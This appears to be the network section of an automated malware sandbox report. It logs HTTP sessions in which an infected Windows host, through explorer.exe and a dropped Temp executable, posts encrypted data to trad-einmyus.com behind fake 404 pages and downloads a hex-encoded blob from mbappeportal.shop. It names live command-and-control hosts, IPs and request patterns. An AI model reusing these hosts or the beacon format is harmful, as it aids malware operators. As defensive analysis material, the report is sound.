                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:05.916291952 CET305OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de bb 66 5d 02 c9 a1 c1 64 3c a1 ac 1e
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d<CL*}UOz\b)D]yej#]&~H><vq2(hOqM Ex'nO4::g+c^M5nos6KB,vbotUAPl2_dFCB
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.165472031 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:06 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              49192.168.2.549797185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.455450058 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://bhymqkevpnqbrel.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 221
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.455523014 CET221OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b8 66 5d 02 c8 a1 c1 64 05 ac ac 12
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d4VvP)k8$EjR2o.t^"I=_(hv3}]`^G;]'EJKQle|*#2A<%apB:G 8al<~ea
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.704588890 CET156INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:06 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Content-Length: 0
                                                                                                                                                                                                                                                              Connection: close


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              50192.168.2.549798185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.957096100 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://acuxoaosotn.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 119
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:06.957127094 CET119OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b9 66 5d 02 c8 a1 c1 64 3a 93 87 15
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]d:Y;{@h6=U p\a7l
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:07.205965996 CET245INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:07 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 33 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 5f 78 cc 27 f5 ff 04 d9 0c 05 51 92 f1 d2 5c f8 0f 90 05 95 a5 79 9b 77 a7 f9 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 3eI:82OTev_x'Q\yw0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              51192.168.2.549801185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:09.881611109 CET285OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://uwxqcqcwjurjgtu.net/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 256
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:09.881750107 CET256OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b9 66 5d 02 c9 a1 c1 64 12 82 ac 1b
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dJ[+xEvg2U2A{,(2)W9VoqiVkJWa}P)"sY#.FhCSNL`InEjBUui,x49vM.
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.130392075 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:10 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              52192.168.2.549803185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.391170979 CET281OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://eclyfollbei.org/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 267
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.391225100 CET267OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 85 de b6 66 5d 02 c8 a1 c1 64 18 cd 9e 6a
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]djfe[3d;FA- iERJomOh9gfq0_v8*\/CU=Rq 6`r12 4v7hBRGPZUy#QFaixVLRgb2,M
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:10.657967091 CET216INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:10 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 32 31 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 9e 4f 17 25 01 e5 e9 de eb ab 02 81 49 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 21I:82OO%I0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              53192.168.2.549808185.12.126.182801028C:\Windows\explorer.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:13.487413883 CET282OUTPOST /index.php HTTP/1.1
                                                                                                                                                                                                                                                              Connection: Keep-Alive
                                                                                                                                                                                                                                                              Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                              Accept: */*
                                                                                                                                                                                                                                                              Referer: http://rsmhvweyyois.com/
                                                                                                                                                                                                                                                              User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                                                                                                                                                              Content-Length: 228
                                                                                                                                                                                                                                                              Host: trad-einmyus.com
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:13.487456083 CET228OUTData Raw: 12 87 80 90 1b f9 a7 b2 bf 3a 09 37 7d c3 ec 8f 32 14 dd 30 d7 41 6e 91 b8 ea a7 85 f9 d0 9a 85 6d b3 2c a0 6f 19 cd e1 9c df f3 d8 d9 95 15 05 6b 98 69 fc e4 ec aa 80 eb 5c bd d2 e4 d8 46 d4 75 24 f3 c4 84 de b6 66 5d 02 c9 a1 c1 64 58 98 98 1d
                                                                                                                                                                                                                                                              Data Ascii: :7}20Anm,oki\Fu$f]dXFdip:n6fm4Jkn)_W>Mh]PaP=e($^eF>gn{J#%yU"r.W\^v>Ejl$IJ}A;&)
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:13.737709045 CET597INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                              Server: nginx/1.20.2
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:13 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 69 6e 64 65 78 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 74 72 61 64 2d 65 69 6e 6d 79 75 73 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                                                                              Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /index.php was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at trad-einmyus.com Port 80</address></body></html>0


                                                                                                                                                                                                                                                              Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                                              54192.168.2.549810104.21.25.14280432C:\Users\user\AppData\Local\Temp\BA7B.exe
                                                                                                                                                                                                                                                              TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.201399088 CET90OUTGET /get/65c4e505302872e0f3bbb578 HTTP/1.1
                                                                                                                                                                                                                                                              Host: mbappeportal.shop
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573261023 CET1286INHTTP/1.1 200 OK
                                                                                                                                                                                                                                                              Date: Thu, 08 Feb 2024 19:18:14 GMT
                                                                                                                                                                                                                                                              Content-Type: text/html; charset=utf-8
                                                                                                                                                                                                                                                              Transfer-Encoding: chunked
                                                                                                                                                                                                                                                              Connection: close
                                                                                                                                                                                                                                                              Cache-Control: no-cache, no-store, max-age=0
                                                                                                                                                                                                                                                              X-Powered-By: ASP.NET
                                                                                                                                                                                                                                                              CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                                              Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=oKSzq6y%2BlM8ibDADD%2FJ2p038wcyZ30xGw%2BjkRUXiwMIzAaQHFHJQ4IZMob568JTugkOanmvGIiDu4GCsNHTyQD6sXY%2BBVu%2BxgUo9uvBJ5tUqC%2BGUk9PADrmhrtGPImsKgLYwSQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                                              Server: cloudflare
                                                                                                                                                                                                                                                              CF-RAY: 852637a31ad8672e-ATL
                                                                                                                                                                                                                                                              alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                                              Data Raw: 33 37 32 64 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 72 75 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 20 0d 0a 20 20 20 20 3c 62 61 73 65 20 68 72 65 66 3d 22 2f 22 20 2f 3e 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 42 6c 61 7a 6f 72 3a 7b 22 73 65 71 75 65 6e 63 65 22 3a 30 2c 22 74 79 70 65 22 3a 22 73 65 72 76 65 72 22 2c 22 70 72 65 72 65 6e 64 65 72 49 64 22 3a 22 33 30 31 33 62 33 37 30 33 66 38 63 34 37 34 35 39 37 34 32 63 30 38 62 66 66 63 63 64 65 61 36 22 2c 22 64 65 73 63 72 69 70 74 6f 72 22 3a 22 43 66 44 4a 38 46 33 35 6c 37 51 35 31 31 35 48 72 4b 61 55 72 61 76 6d 74 6f 76 79 4a 70 30 71 54 55 59 70 74 6e 43 4d 41 5a 39 57 75 44 47 73 63 70 6d 5c 75 30 30 32 42 42 6b 35 59 44 68 6c 41 56 66 7a 78 61 6f 67 63 4e 59 6c 45 48 44 77 74 5a 57 4c 34 55 78 6c 68 75 58 4d 67 76 4a 7a 6c 65 4f 33 39 4e 51 53 76 49 72 75 56 4e 78 65 6b 44 59 6b 68 36 36 51 47 74 51 61 6e 71 4b 64 73 4f 34 6b 2f 57 76 32 4f 61 4f 50 53 5a 49 6e 51 44 6b 4c 71 42 69 30 39 36 55 34 2f 6f 46 7a 57 36 72 6b 57 6d 35 78 62 75 32 75 38 4a 70 47 37 66 6e 6f 74 70 61 52 7a 79 76 37 57 7a 69 53 31 6c 57 76 6c 4a 4e 57 6c 6c 61 32 6a 4d 59 44 61 64 59 65 6e 79 58 34 63 39 69 68 76 52 6c 50 35 79 6c 32 37 6b 35 4b 4b 58 54 47 6c 77 6f 6b 35 33 4c 5c 75 30 30 32 42 76 32 41 6d 30 4c 4c 78 59 5c 75 30 30 32 42 42 76 5a 4b 61 4e 6d 36 6b 33 51 38 70 61 44 46 51 56 46 45 6c 5a 4c 79 46 67 45 43 33 42 4f 41 67 52 73 73 39 67 5a 39 45 62 69 57 2f 6b 34 52 4c 5a 5c 75 30 30 32 42 44 50 30 50 32 6f 61 78 71 36 74 58 74 55 4a 59 52 47 58 74 52 2f 73 56 6b 6c 6f 31 79 79 38 54 48 45 62 55 51 46 4f 58 36 74 4d 45 75 69 56 73 71 4d 72 56 5a 63 34 61 71 36 6a 5a 6b 55 2f 43 6a 75 51 75 56 45 4a 31 51 73 6e 76 36 31 46 73 35 6d 6a 58 61 51 4f 6d 35 56 78 6b 30 68 31 45
                                                                                                                                                                                                                                                              Data Ascii: 372d<!DOCTYPE html><html lang="ru"><head> <meta charset="utf-8" /> <base href="/" /> ...Blazor:{"sequence":0,"type":"server","prerenderId":"3013b3703f8c47459742c08bffccdea6","descriptor":"CfDJ8F35l7Q5115HrKaUravmtovyJp0qTUYptnCMAZ9WuDGscpm\u002BBk5YDhlAVfzxaogcNYlEHDwtZWL4UxlhuXMgvJzleO39NQSvIruVNxekDYkh66QGtQanqKdsO4k/Wv2OaOPSZInQDkLqBi096U4/oFzW6rkWm5xbu2u8JpG7fnotpaRzyv7WziS1lWvlJNWlla2jMYDadYenyX4c9ihvRlP5yl27k5KKXTGlwok53L\u002Bv2Am0LLxY\u002BBvZKaNm6k3Q8paDFQVFElZLyFgEC3BOAgRss9gZ9EbiW/k4RLZ\u002BDP0P2oaxq6tXtUJYRGXtR/sVklo1yy8THEbUQFOX6tMEuiVsqMrVZc4aq6jZkU/CjuQuVEJ1Qsnv61Fs5mjXaQOm5Vxk0h1E
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573287010 CET1286INData Raw: 63 54 44 4f 50 4c 67 6b 57 31 77 6a 69 50 4d 58 58 42 2f 66 6f 63 65 59 51 5a 70 61 6e 32 7a 69 67 38 31 51 22 7d 2d 2d 3e 3c 74 69 74 6c 65 3e 36 35 63 34 65 35 30 35 33 30 32 38 37 32 65 30 66 33 62 62 62 35 37 38 3c 2f 74 69 74 6c 65 3e 3c 21
                                                                                                                                                                                                                                                              Data Ascii: cTDOPLgkW1wjiPMXXB/foceYQZpan2zig81Q"}--><title>65c4e505302872e0f3bbb578</title>...Blazor:{"prerenderId":"3013b3703f8c47459742c08bffccdea6"}--></head><body> ...Blazor:{"sequence":1,"type":"server","prerenderId":"7f15478b75a34c5d8e32
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573302031 CET1286INData Raw: 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46 44 35 34 43 44 43 35 46 41 32 37 38 46 34 32 37 33 43 34 30 46 41 36 30 46 46 43 33 37 41 31 38 43 30 45 44 31 44 33 42 44 36 45 37 41 32 34 33 45 32 42 45 44 38 33 46 43 30 35 35 39 30 38 46
                                                                                                                                                                                                                                                              Data Ascii: 43E2BED83FC055908FD54CDC5FA278F4273C40FA60FFC37A18C0ED1D3BD6E7A243E2BED83FC055908FD54CD05F227834273C40FA60FFC37A18C0ED1D3BD6E7A243E2BEDA3FC055108FD54CD05F227834273C407860FFC7FA18C0ED1D3BD6E7A243E2BC3F7997D2D08FD54D37CFA27836273C40FDC07FC37A38C
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573317051 CET1286INData Raw: 39 41 39 44 45 30 37 35 41 37 35 45 31 35 34 43 44 30 31 44 38 33 39 38 31 36 41 44 33 43 34 30 46 41 43 32 35 32 32 33 35 38 39 30 35 30 45 44 31 44 39 42 45 34 33 37 31 35 36 30 41 33 32 45 44 46 33 38 46 41 34 35 39 30 38 46 37 32 45 43 39 32
                                                                                                                                                                                                                                                              Data Ascii: 9A9DE075A75E154CD01D839816AD3C40FAC25223589050ED1D9BE4371560A32EDF38FA45908F72EC928F955EF5B73B47C070FFC3DDB8E2690D3BD687827430BED83F8015B20A854CD03D80581415B860FA609D6E5A39A73F2D3BD6A78063E2BED8381215908F956EF05F227833F56C40FA20DDE37A18C0EACF5
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573333025 CET1286INData Raw: 35 35 44 32 32 38 46 35 36 45 35 38 43 46 32 32 37 38 39 34 31 35 45 43 46 37 44 41 46 31 31 46 43 34 37 44 32 32 44 30 45 44 31 44 39 43 37 36 43 37 39 35 39 37 37 32 42 45 44 38 37 44 36 31 42 35 42 37 42 37 34 35 34 43 44 30 33 44 38 33 39 38
                                                                                                                                                                                                                                                              Data Ascii: 55D228F56E58CF22789415ECF7DAF11FC47D22D0ED1D9C76C7959772BED87D61B5B7B7454CD03D83981393AC40FA225E235DAC70ED1D7975C78273129E280D40C5908D67EE707E628826A78C40F8D25D635A2830CF9D8BD6E510E7429EFF8B505590CFE5BCF0AF10F8E4273EF25900DFF33AE8F01D5FBB06E7A
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573347092 CET1286INData Raw: 45 32 39 42 46 30 35 46 32 32 33 38 31 34 36 30 45 42 32 30 46 41 36 30 42 46 45 33 32 44 43 46 42 30 45 44 31 44 37 42 46 37 38 30 37 35 43 33 45 32 42 45 39 38 31 46 32 30 31 32 34 37 31 46 44 35 34 43 39 32 46 45 43 32 35 46 38 33 31 37 33 43
                                                                                                                                                                                                                                                              Data Ascii: E29BF05F22381460EB20FA60BFE32DCFB0ED1D7BF78075C3E2BE981F2012471FD54C92FEC25F83173C40B8C11FE4CD58C0ED5F9A36C01513E2BE9A9E207227EFD54C92FEC25F83573C40B8C11FE4CD98C0ED5F9A36C015D3E2BE9A9A2062C29FD54CF28F031A94070612EA60FFE1F7F8C0ED7F9776C01573E2B
                                                                                                                                                                                                                                                              Feb 8, 2024 20:18:14.573362112 CET1286INData Raw: 31 38 46 42 32 38 33 34 32 37 37 45 45 32 31 41 34 30 43 45 33 33 38 46 45 46 31 39 42 44 31 44 33 42 39 34 34 32 34 32 36 34 35 42 45 45 44 38 33 46 38 30 41 35 38 37 33 36 38 35 34 43 44 30 31 39 32 32 35 46 38 44 37 37 33 43 34 30 42 35 38 30
                                                                                                                                                                                                                                                              Data Ascii: 18FB2834277EE21A40CE338FEF19BD1D3B944242645BEED83F80A58736854CD019225F8D773C40B580ED615BE837DC5D2BD6850162929F29CA3672A1CFC54CB2FDC25F8D773C40BC810D0558BA20CCEFFD9E609303F2BEBA9A207229DFD54C96BE5249C5D2CA665F91996C9A09AF0D0F90F6A56303C0E9616FC
